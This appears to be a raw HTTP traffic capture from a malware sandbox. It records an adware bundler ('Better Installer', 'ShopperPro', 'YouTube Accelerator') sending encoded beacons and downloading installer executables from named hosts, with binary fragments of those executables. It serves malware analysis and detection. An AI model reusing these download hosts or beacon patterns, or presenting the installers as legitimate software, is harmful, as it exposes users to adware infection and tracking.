GET /p.ashx?e=Q1fGffVv26 HIN QbXyGno 6kPfIRdsbjA5kVqVgWdD8SaNRCRsmETynsL3GEE9TaWd12TXnwYBA7RFj/nQy6cNYT8mHQlt4vQ 8eOzFn1Qg4 TVw0sddcSCFqUzxEuKSsXeh8CpENYmY4DrPDCE5A3esz88wWTIYCpHZc9ZUaE9M9DFMEq dQTxIUcsgQ wusjSmD/os8sE8XIWrh60PYXV1rPYBwrFqy2cd4qoQDl0oePvh0n93NexvF9Z3oAvVYgO0yHAHEsl2u 63S 55efS1dRDuqWExa4opuscR66kJIhcmH67jPZQpTedPDILhfCqXqcp6BQ= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net




HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 17 Dec 2014 16:43:29 GMT

X-Cache: Miss from cloudfront

Via: 1.1 8cfbf4c767639172e44be33e20bf67be.cloudfront.net (CloudFront)

X-Amz-Cf-Id: hh5WVHxgu41-qoFCwWGUPZXJAe6wjBfQ8R-ces8cvuUg8Y6I8Ac2aQ==
....


GET /p.ashx?e=hpY1rXLYst6x1kvX9v50CCmZO51uO6q9/WD6e6SZIIExLHUkaU066zsPf/PibBcqYrI83FKK/ zn0tXUQ7qlhMWuKKbrHEeupCSIXJh u4z2UKU3nTwyC1vTLI4Bf0k1 b/YhL9w2PQPCBnswTHyvqUyy/Grac7sj0N7bp/0QtTEKmHddSTlr6/u6Si5KcyuceLsPpRf2XLljiGzIpjZP/qtfVYstvxbqVNzaeqnfdX3sDNBcXvenmdamvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgEPlcKBNGiF/021585MfhSmM2d4wtyZ5qfNTRxTGzTsEGk8IGlu5lbdgJBbOU3ZeubiwmL/3dSts= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net




HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 17 Dec 2014 16:43:37 GMT

X-Cache: Miss from cloudfront

Via: 1.1 8cfbf4c767639172e44be33e20bf67be.cloudfront.net (CloudFront)

X-Amz-Cf-Id: D08sAI39Bn3NqztUrs6buPZ-W1JXo5mLq9n3jDPjFg3wbj9IHv7pAw==
HTTP/1.1 200 OK..Content-Length: 0..Connection: keep-alive..Cache-Cont
rol: private, no-store..Server: Microsoft-IIS/8.5..X-AspNet-Version: 4
.0.30319..X-Powered-By: ASP.NET..Date: Wed, 17 Dec 2014 16:43:37 GMT..
X-Cache: Miss from cloudfront..Via: 1.1 8cfbf4c767639172e44be33e20bf67
be.cloudfront.net (CloudFront)..X-Amz-Cf-Id: D08sAI39Bn3NqztUrs6buPZ-W
1JXo5mLq9n3jDPjFg3wbj9IHv7pAw==......


GET /p.ashx?e=2v0SNuZrMFzU0UsIWSR1jbkjoxTNA4Rp7OXLse4BafTbQC nVTu53h5TX6K4Kv025qQw5cISbJBF18tFkttUSHlf1ywEdCDAkt1TnX3RNRgTzGEYgH Rav9CkIMO2RQPKPuMdH9xkPH36U7mmpym8v7XVxgq1sWG54ebh5tiGXfUh 3ZGDmdW5pZis9f nTdhckeENmAaNmzFsNF22sQvFbQfHq0QVBDtDsEV ZSgaIE8XIWrh60PYXV1rPYBwrFqy2cd4qoQDl0oePvh0n93NexvF9Z3oAvVYgO0yHAHEsl2u 63S 55efS1dRDuqWExa4opuscR66kJIhcmH67jPZQpTedPDILhfCqXqcp6BQ= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net




HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 17 Dec 2014 16:43:38 GMT

X-Cache: Miss from cloudfront

Via: 1.1 8cfbf4c767639172e44be33e20bf67be.cloudfront.net (CloudFront)

X-Amz-Cf-Id: qaOZopnT-g-GtXblScmio13zbQoTYIH51e-rH0YWa-6i7PekBnRJhQ==
HTTP/1.1 200 OK..Content-Length: 0..Connection: keep-alive..Cache-Cont
rol: private, no-store..Server: Microsoft-IIS/8.5..X-AspNet-Version: 4
.0.30319..X-Powered-By: ASP.NET..Date: Wed, 17 Dec 2014 16:43:38 GMT..
X-Cache: Miss from cloudfront..Via: 1.1 8cfbf4c767639172e44be33e20bf67
be.cloudfront.net (CloudFront)..X-Amz-Cf-Id: qaOZopnT-g-GtXblScmio13zb
QoTYIH51e-rH0YWa-6i7PekBnRJhQ==......


GET /p.ashx?e=4mC0vXGWFtpeSST1IgI2iCWqRVUESB2P7ZTHYXaLDVh4E7mrr1h80jmXqQawsZSOUA7dl9owwhLO6rntat/XxwJS3p9Bt4VpeyYAoD3cfH3bhh/cLITUHCsDyuqA5Ijh lWLUtT/Ob//GZkyVW/8IlY9oQAYkVBSMLdX5s 5V6ZWOvghCBTr/YNeFbKg7t0VKYX3Ti/i3YNrVMaqjjilw4zwxTsvpnVcXOyU386ibkNsTaFJlXWyu yt25iEwyPbjsvnWTmObjOwEISYEO9NS4pPO0Kry3XMsLUtbwE6VCqQ6c6qhfBhigsBNjG75SdwwdrEePnF oQ= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net




HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 17 Dec 2014 16:43:42 GMT

X-Cache: Miss from cloudfront

Via: 1.1 8cfbf4c767639172e44be33e20bf67be.cloudfront.net (CloudFront)

X-Amz-Cf-Id: -6m-Q7GCunTX6jFNteHAt21h3ibSRC6uSabZtH3yBi41VVsGnMSMcg==
....


GET /p.ashx?e=4mC0vXGWFtpeSST1IgI2iCWqRVUESB2P7ZTHYXaLDVh4E7mrr1h80jmXqQawsZSOUA7dl9owwhLO6rntat/XxwJS3p9Bt4VpeyYAoD3cfH3bhh/cLITUHCsDyuqA5Ijh lWLUtT/Ob//GZkyVW/8IlY9oQAYkVBSMLdX5s 5V6YCFMPu/XF4LhJgZ hNipe8AhwsRGINruh3JLgG5QML1bdfZ/rXose/qzK4ONZfy8uwkk WHLaN3BOpzAENMeu5cVazcbc9chGV2a3pWCTy1Jru9GZ/KDSdRdfLRZLbVEh5X9csBHQgwJLdU5190TUYE8xhGIB/kWqhM X1Brutpw== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net




HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 17 Dec 2014 16:43:35 GMT

X-Cache: Miss from cloudfront

Via: 1.1 8cfbf4c767639172e44be33e20bf67be.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 3Xoxm8eoUECQW0qXnEmRsbqHP_jzEbYP1oB4Ruz5gVim1mZ3x99ksA==
....


GET /p.ashx?e=4mC0vXGWFtrPpyTTOfle7LBz5mjUTX/ToKZCsxhDdVP8ln8Iap23/32Fnk7oJCBmfl0yK7ww8bRolUWG0SomUHzU0cUxs07BBpPCBpbuZW3YCQWzlN2Xrp1Dx2npCblDSOrYhj46XfSN3eDzt50Mz2ayCyvKbZIX7o/ufEN2dGSTRcHKuVeTpTHue1RZyJkvyMpFjoih9vt3JLgG5QML1YoqYA4lDRxGC8Drt0aCEZ8psmZLci oo11FFwnVblZzh9Kw5QsIDqFTDvvWGrJMjBvGZUjN1fBZVWxYc i3eUoktpCioILhsqsyuDjWX8vLsJJPlhy2jdwTqcwBDTHruXFWs3G3PXIRldmt6Vgk8tSa7vRmfyg0nUXXy0WS21RIeV/XLAR0IMCS3VOdfdE1GBPMYRiAf5FqoTPl9Qa7rac= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net




HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 17 Dec 2014 16:43:41 GMT

X-Cache: Miss from cloudfront

Via: 1.1 8cfbf4c767639172e44be33e20bf67be.cloudfront.net (CloudFront)

X-Amz-Cf-Id: cjEAp0Ohk4ob3Kyn7cpfVIxH2vYBivnxp-gIMt_loq5GpA3AhldyPw==
HTTP/1.1 200 OK..Content-Length: 0..Connection: keep-alive..Cache-Cont
rol: private, no-store..Server: Microsoft-IIS/7.5..X-AspNet-Version: 4
.0.30319..X-Powered-By: ASP.NET..Date: Wed, 17 Dec 2014 16:43:41 GMT..
X-Cache: Miss from cloudfront..Via: 1.1 8cfbf4c767639172e44be33e20bf67
be.cloudfront.net (CloudFront)..X-Amz-Cf-Id: cjEAp0Ohk4ob3Kyn7cpfVIxH2
vYBivnxp-gIMt_loq5GpA3AhldyPw==......


GET /p.ashx?e=QHucCbLl /ax1kvX9v50CCNxWvDGxmt3/WD6e6SZIIExLHUkaU066zsPf/PibBcqYrI83FKK/ zn0tXUQ7qlhMWuKKbrHEeupCSIXJh u4z2UKU3nTwyC1vTLI4Bf0k1 b/YhL9w2PQPCBnswTHyvqUyy/Grac7sz9GdXwkjcG36qM2bUOwKpdXDXZHqh b9Rhg0WUsz0XnY1eM2Sqpt4A77W/H0iJSYZ1qa tRBmxIEmumfnn3eLsmQ gNabH9smt1LIHE9GmAQ VwoE0aIX/TbXnzkx FKYzZ3jC3Jnmp81NHFMbNOwQaTwgaW7mVt2AkFs5Tdl65uLCYv/d1K2w== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net




HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 17 Dec 2014 16:44:39 GMT

X-Cache: Miss from cloudfront

Via: 1.1 8cfbf4c767639172e44be33e20bf67be.cloudfront.net (CloudFront)

X-Amz-Cf-Id: Kah2q8-inc6we8_AJJpAGpE8n1AVNTz222DBS1Kf13a3qle6DXrTQA==
....


GET /p.ashx?e=EYAmqppYZO HIN QbXyGnvpaHldMmPOrjA5kVqVgWdD8SaNRCRsmETynsL3GEE9TaWd12TXnwYBA7RFj/nQy6cNYT8mHQlt4vQ 8eOzFn1Qg4 TVw0sddcSCFqUzxEuKSsXeh8CpENYmY4DrPDCE5CON/c5qbGaxeqfOL09Waq7I02mIjBnQG1vlbGoI43V0s IILilpWF2ryaFrt1ZytQQr15Tmip  94khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjm0wz0U6I70ghzFcuANGYcshmdjfbUI/qtA7RFj/nQy6cNYT8mHQlt4vQ 8eOzFn1SkEhTToFVZ/Q== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net




HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 17 Dec 2014 16:44:46 GMT

X-Cache: Miss from cloudfront

Via: 1.1 8cfbf4c767639172e44be33e20bf67be.cloudfront.net (CloudFront)

X-Amz-Cf-Id: NvZpT_uJ1AiwOES-lRjoeCmrpvaWsONMTWdpT5dk2hq3H_plw2x20g==



GET /msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?2fe2abbe32770443 HTTP/1.1

Connection: Keep-Alive

Accept: */*

If-Modified-Since: Thu, 03 Jul 2014 23:34:12 GMT

If-None-Match: "0b2464b1797cf1:0"

User-Agent: Microsoft-CryptoAPI/6.1

Host: ctldl.windowsupdate.com




HTTP/1.1 304 Not Modified

Content-Type: application/octet-stream

Last-Modified: Thu, 03 Jul 2014 23:34:12 GMT

ETag: "0b2464b1797cf1:0"

Cache-Control: max-age=86400

Date: Wed, 17 Dec 2014 16:44:57 GMT

Connection: keep-alive
HTTP/1.1 304 Not Modified..Content-Type: application/octet-stream..Las
t-Modified: Thu, 03 Jul 2014 23:34:12 GMT..ETag: "0b2464b1797cf1:0"..C
ache-Control: max-age=86400..Date: Wed, 17 Dec 2014 16:44:57 GMT..Conn
ection: keep-alive..


GET /app/t.ashx?uid=eb48a9ab-49f6-4199-935d-4935ca672341&bn=iexplore.exe&bv=&shpro_url=aHR0cDovL3d3dy55b3V0dWJlYWNjZWxlcmF0b3IuY29tL2ZpbmlzaGluc3RhbGwvP1ZBX1Y9My4zLjkuNCZWQV9BZmY9c210eWNsMV8wXzBfMF8wLGViNDhhOWFiLTQ5ZjYtNDE5OS05MzVkLTQ5MzVjYTY3MjM0MSwmVkFfYnI9Tk9ORSZWQV9hc2s9Tk9ORSZWQV9CZXRhPTAmVkFfTW9kZT0zJlZBX09TVmVyPVdpbmRvd3NfNyZWQV9Jc0Nvbm5lY3RlZD0xJlZBX3NyYz0xJnByPTEmVFNJPTc1JkJ1bmRsZUlEPU5PTkU=&prd=ShopperPro&os=Win32&id=1418834696&aff=JSsmtycl&ver=2.0.7791.1444 HTTP/1.1

Accept: image/png, image/svg xml, image/*;q=0.8, */*;q=0.5

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,eb48a9ab-49f6-4199-935d-4935ca672341,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=75&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: 5k9v3bc1-enehfzfv.netdna-ssl.com

DNT: 1

Connection: Keep-Alive




HTTP/1.1 503 Service Unavailable

Date: Wed, 17 Dec 2014 16:44:56 GMT

Content-Type: text/html

Content-Length: 27

Connection: keep-alive

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2
The service is unavailable.HTTP/1.1 503 Service Unavailable..Date: Wed
, 17 Dec 2014 16:44:56 GMT..Content-Type: text/html..Content-Length: 2
7..Connection: keep-alive..X-Powered-By: ASP.NET..Server: NetDNA-cache
/2.2..The service is unavailable...


GET /YTAFinishInstall.gif HTTP/1.1

Accept: image/png, image/svg xml, image/*;q=0.8, */*;q=0.5

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,eb48a9ab-49f6-4199-935d-4935ca672341,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=75&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: pix.youtubeaccelerator.com

DNT: 1

Connection: Keep-Alive




HTTP/1.1 200 OK

Server: Microsoft-IIS/5.1

Cache-Control: max-age=0, must-revalidate

Expires: Fri, 30 Oct 1998 14:29:43 GMT

Date: Mon, 07 Aug 2006 07:07:36 GMT

Connection: close

Content-Type:image/gif
GIF89a.............!.......,...........D..;HTTP/1.1 200 OK..Server: Mi
crosoft-IIS/5.1..Cache-Control: max-age=0, must-revalidate..Expires: F
ri, 30 Oct 1998 14:29:43 GMT..Date: Mon, 07 Aug 2006 07:07:36 GMT..Con
nection: close..Content-Type:image/gif..GIF89a.............!.......,..
.........D..;..


GET /img/youtube-accelerator-logo.png HTTP/1.1

Accept: image/png, image/svg xml, image/*;q=0.8, */*;q=0.5

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,eb48a9ab-49f6-4199-935d-4935ca672341,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=75&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: VVV.youtubeaccelerator.com

DNT: 1

Connection: Keep-Alive

Cookie: ASP.NET_SessionId=hsbibmbkxhqe4i0vxoz5dfg4




HTTP/1.1 200 OK

Content-Type: image/png

Last-Modified: Tue, 10 Jun 2014 08:53:04 GMT

Accept-Ranges: bytes

ETag: "0d8fd638984cf1:0"

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Wed, 17 Dec 2014 16:44:56 GMT

Content-Length: 9214
.PNG........IHDR.......H.....E.......tEXtSoftware.Adobe ImageReadyq.e&
lt;... iTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCe
hiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk=
"Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00        "> &
lt;rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#">
 <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1
.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http:/
/ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photo
shop CS5 Windows" xmpMM:InstanceID="xmp.iid:81D309AAC21F11E29064D5C06D
ED1D59" xmpMM:DocumentID="xmp.did:81D309ABC21F11E29064D5C06DED1D59">
; <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:81D309A8C21F11E29064
D5C06DED1D59" stRef:documentID="xmp.did:81D309A9C21F11E29064D5C06DED1D
59"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> 
<?xpacket end="r"?>O9.j.. tIDATx..]...U.>..z.g&.dB.........DQ
Q..P?.]..V...2....j..ovM.]?.UID].\Hv.|..%....`..C...B.........}V......
.......IU.t..u.....{..d.L.Nb.......l..ocF.y.v1.T.}j.<..FW.aJ..@ ...
.A..`v.....Bf. <~."......g2H..@ ...RG..I.o....s......l\..Y..xT..Mj.
[email protected]{/[email protected]<.........@.
B ..$.rX..c..a.n..'....JA....v.mS.......f[N\. 8..W`d.g6...-.aw..0...0H
=.Y[....1.&...C#i!.......<...>.2.B.....vFT'...8'...&.0eE.A....VV
....$WH....O...7...y......(Sb4J}mb.%f."i!......[.. .3.d.....M.. ......
...b.K.......$0...U...8i.TnA.7.I.......0.{. ..X.Qf.`.uf#HZ...13I..
<<< skipped >>>


GET /home/smt_mystartsearch.exe HTTP/1.1

Range: bytes=218910-

User-Agent: Better Installer(Mozilla)

Host: VVV.girlwurina.com

Connection: Keep-Alive

Cache-Control: no-cache




HTTP/1.1 206 Partial Content

Server: nginx

Date: Wed, 17 Dec 2014 16:43:28 GMT

Content-Type: application/octet-stream

Content-Length: 72970

Last-Modified: Wed, 10 Dec 2014 08:07:40 GMT

Connection: keep-alive

Expires: Sat, 20 Dec 2014 16:43:28 GMT

Cache-Control: max-age=259200

Content-Range: bytes 218910-291879/291880
...l...l...l...m...m..8m......Fi.......i.......h.......i..vi..di......
f.SetFilePointer....SystemTimeToFileTime....CreateDirectoryW..j.SetFil
eTime.%.WriteFile...WideCharToMultiByte...GetFileAttributesW....ReadFi
le....CreateFileW.g.MultiByteToWideChar...GetCurrentDirectoryW..R.Clos
eHandle.F.LocalFileTimeToFileTime.b.FreeLibrary...GetCurrentProcess...
GetTickCount....GetWindowsDirectoryA..?.LoadLibraryW....Sleep.|.Create
DirectoryA....GetLastError..E.GetProcAddress..A.GetPrivateProfileStrin
gA....GetLocalTime....GetModuleFileNameA....OutputDebugStringA....GetC
urrentProcessId...GetTempPathA....GetCommandLineW...WaitForSingleObjec
t...GetExitCodeProcess....GetEnvironmentVariableA.*.WritePrivateProfil
eStringA..l.GetSystemDefaultLangID....GetModuleHandleW....GlobalAlloc.
..GlobalFree....DeviceIoControl...GetVolumeInformationW.y.GetSystemTim
eAsFileTime._.MoveFileExA.2.FindFirstFileA....RemoveDirectoryA....Find
Close.C.FindNextFileA...CreateMutexA....DeleteFileA.KERNEL32.dll..3.ws
printfW.USER32.dll..n.RegQueryValueExW..a.RegOpenKeyExW.0.RegCloseKey.
ADVAPI32.dll..!.ShellExecuteExW.SHELL32.dll...VerQueryValueA....GetFil
eVersionInfoSizeA...GetFileVersionInfoA.VERSION.dll.D.PathFileExistsA.
SHLWAPI.dll...InterlockedIncrement....InterlockedDecrement....EncodePo
inter...DecodePointer...EnterCriticalSection..9.LeaveCriticalSection..
..DeleteCriticalSection.i.GetStringTypeW....HeapFree....IsDebuggerPres
ent...IsProcessorFeaturePresent...HeapAlloc...GetCurrentThreadId..>
.LoadLibraryExW....RaiseException....RtlUnwind...InitializeCritica
<<< skipped >>>


GET /affiliate/client?dist=141&sub=iECHwJSsmtycl&name=ShopperPro HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,eb48a9ab-49f6-4199-935d-4935ca672341,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=75&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: api.jollywallet.com

DNT: 1

Connection: Keep-Alive




HTTP/1.1 200 OK

Content-Encoding: gzip

Content-Type: application/javascript

Date: Wed, 17 Dec 2014 16:44:56 GMT

Expires: Sun, 21 Dec 2014 16:44:56 GMT

P3P: policyref="/w3c/p3p.xml", CP="CURa ADMa DEVa OUR IND DSP CAO COR"

Server: nginx/1.4.7

X-Powered-By: PHP/5.4.30

transfer-encoding: chunked

Connection: keep-alive
20a1.............}k..F..g....s.1d....fC.[....ggvl.][email protected]...`?......
.@....,..D..f....|Uf...;?3n...v.H..3<..q.n.,.K..s......(......L....
.,.......YZ.......=.ye.5V.$(.41:~...;[email protected].;.......ed..e.q...
%.I..B......g.......j1K....~....D...>...>@...$Z*...?.....s..x.f.
O.-K..l......"{....G......Mz.~,......]....z......4.Z....#WF,.0.n......
[email protected]?...u...5_f...?? ..K.Y... *.....$..V...d..U..Y..x ... [
..q.....Eq.o.1.K....se..,......i......`...A....(x2. %{}o..b..=..sq....
..J.XG.....Be..`........x.......p..\.u.(.0ol..q....f.V...qTt..&o6...{.
.,...!..PN7.wC....l...2i?.H.n.(Y.,.D._..!GA..rC.?. .7..U.?..~X.?9>^
RY.?iv..1..n..GD.W.^}.....9....y..-...l..?~...w.....}.........-...A..[
..o..R*..2....2.H.....P...%.g..I...$.55..o.l.......o....|GH..t....<
".cz..\`.f.?y.vq.".......{..........&..<........s....v..!h..y./..=.
....s ..M#.7....M.Z.|..~#Z..}..$...|.2...G.o.K..{.V...G;..MV...\.....n
c..]._\........h......u...?...4....C.u%...=.d.........h<...e.1...xI
|.WD..'............$.~...o..6`.y.5~oL..1.,..a?.....E..R.ThD......6_..u
..\q.M...v:....rlg.48.....&.......{..[......R`Ba.. .........>..z...
x...D.Y...P....dGb...J...>[email protected].....".........B.|.....(.......
J..X.._.H( ..........$..U.....C.(5;Nc.S..XM/H. M......._.aW`X.....:.`.
h....{..C/.A]..I].D...0.;....{...^..... ....z.....a.A/..V...:.%.! V:..
.~..Fhm.30..f4.....=$..\u. .^..^.............2.>.%.....%UxD........
=.A.....3q...........`...t2.e... .!/..#.....4_.......D....Pi.b.>G.w
..R.a.....B.B*a[.:\,A.E....k..z..g....t2....Z.VE)).U......;.......
<<< skipped >>>


GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1

Range: bytes=178475-

User-Agent: Better Installer(Mozilla)

Host: d3ddmpeszwup8l.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache




HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 107083

Connection: keep-alive

Date: Sun, 14 Dec 2014 04:56:58 GMT

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894

Cache-Control: max-age=3600

Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT

x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC

ETag: "518879abe3170dabd172dfffcd165598"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 178475-285557/285558

Age: 1399

X-Cache: Hit from cloudfront

Via: 1.1 1470442994f5c934501af506cad58c44.cloudfront.net (CloudFront)

X-Amz-Cf-Id: KxyHx9rK5x20wXZsOEcd4mNDRsMKwcZ6XRdhHJrU-c8fJaExua4oQQ==
w.N>.Pq..A)...[N......B.x../.>[email protected]..
N.Z......j..&...h....A.hO..\....'.....sj.`.....H.S.|.s=.......I.)L>
...c....i.>.....G.u..H.D....P......qC0<.(...m..y.dm.\1N.m...v.T`
- .Ss. .G2..rk.......N{[email protected].......}......6P$....2
.52..!.x....L.R. [email protected],.].\...a..........k
.....A.....P....u`..I.///....b~.y..^...P...z..p..:.d.....R.4....U. ...
../.M]..~.........(...... y.).. ..In.I.)..ua.*..N!Q.......1.e..b)F5...
x.bS..f..|q.H..K...V.`.^...x!Su4_"?...uc.tY.m...%....r..be.z. ....0.^.
....]y........)... .u_/..V..6).v..\.7n-z.q.............Y.w.oBk..f..}..
[email protected]. .*.b.;..).....|.\@c..)......H.P..;......!"...gN.......9W..
.. ......NJJJ....N|..)T..aU..1....5~.G...=d.m..Qfl..?.yO|e...`.sXm$Op;
."p................t=V.........Q....f.r0.........i...M......E....Y.../
....N.7/.;.....|..R...(./.4..{)..~.M....).......f.w...6.^.0TB...H..c..
.....^-a.G`0ub..|a;.C..T.<..N/......^..>."....f..$..d.=.X0..x4R.
..W...=.....`..w.$\a/.~R.~<.....jS.q.es....-.....#W#.D.4H...tw...&.
A.w/...t...[H"D....9E].....A....B<D.7[.2.3.!.......P.......R..R._.I
...y........([email protected].\D.k.2....3..".".......
.p...?_X.........$v.....,......\.V..EV.G...........Z.DO....B..V...%.D.
...].n..`...H.!..=<.. Y.*l..].j.u.d.o.M.i...>..m........$K..@...
..]~.H.z.p.O.?.i.&.U.....U."<..o.S#..x.....s..g.[.....A.6~'-.1D....
....`Pim2....;.xsV2.'7.#..jlW.1-..4......h ..~...oV..."...]|..i=.....V
(.....e..!..EU.d....ui..9).....^P.o.g..e..H.1x.....\.#..D....G.w.p
<<< skipped >>>


GET /home/smt_mystartsearch.exe HTTP/1.1

Range: bytes=36485-

User-Agent: Better Installer(Mozilla)

Host: VVV.girlwurina.com

Connection: Keep-Alive

Cache-Control: no-cache




HTTP/1.1 206 Partial Content

Server: nginx

Date: Wed, 17 Dec 2014 16:43:28 GMT

Content-Type: application/octet-stream

Content-Length: 255395

Last-Modified: Wed, 10 Dec 2014 08:07:40 GMT

Connection: keep-alive

Expires: Sat, 20 Dec 2014 16:43:28 GMT

Cache-Control: max-age=259200

Content-Range: bytes 36485-291879/291880
.W......VP..n.....S......VP.Jn...........P..`.B.^...u.j.......P....B..
M._3.[..T.....c`...U....d.... xC.3..E.S..V.{...u.W......t...........}.
.K..;y.|.......M._^3.[.NT......;y.}.................9x.|.......PW.....
............t ../t...\t.f..t.f.~.:t...D.....3....S...3...j\Zj.........
....../..._..f;.....t.f;.u..A............f..u.V......h....P.~m........
...;.u.3.f.......N.. ....=......D...3.f.......f......j/Yf;.......j\Yf;
.......f..t.f......:........D................. ....f.....f..u.........
......3.f....f;.u....... ....f.G....f;.u..............................
...f.....f;.u....... ....f.G....f;.u......................N3..........
.f.........f..u...f....f;.u....... ....f.G....f;.u...............3....
[email protected]...................<
[email protected].@....^..Y..@[email protected][email protected].
[email protected]......./......(......P
......P......P..........B................ .B....l............\...VW...
...t....N....7.O....t..~|.t....7..........V..Y..Y.'._3.^.j..I.B..~....
.hL.....]..Y....t..N..3...8........<[email protected]
...t...t.Q.......3...j..j]..Y.......p.......V....<.....t.P..Z..Y..@
.....<[email protected]..^...U...E.V. .3.f.p.!.,.....u.
........9.t.........I.PR........C.^].U..Q..u.........9.t........QQ.u..
I.R. ......C.Y]...u.........9.t.........I.R........C..V....u.........C
.^..>.t........W.~....F......C...t.Q.......V..Y.....C.Y_^.U...M...t
..E.........W.}.........f.._.E.].U...U.3.f9.t.V.r.f.....f;.u... ..
<<< skipped >>>


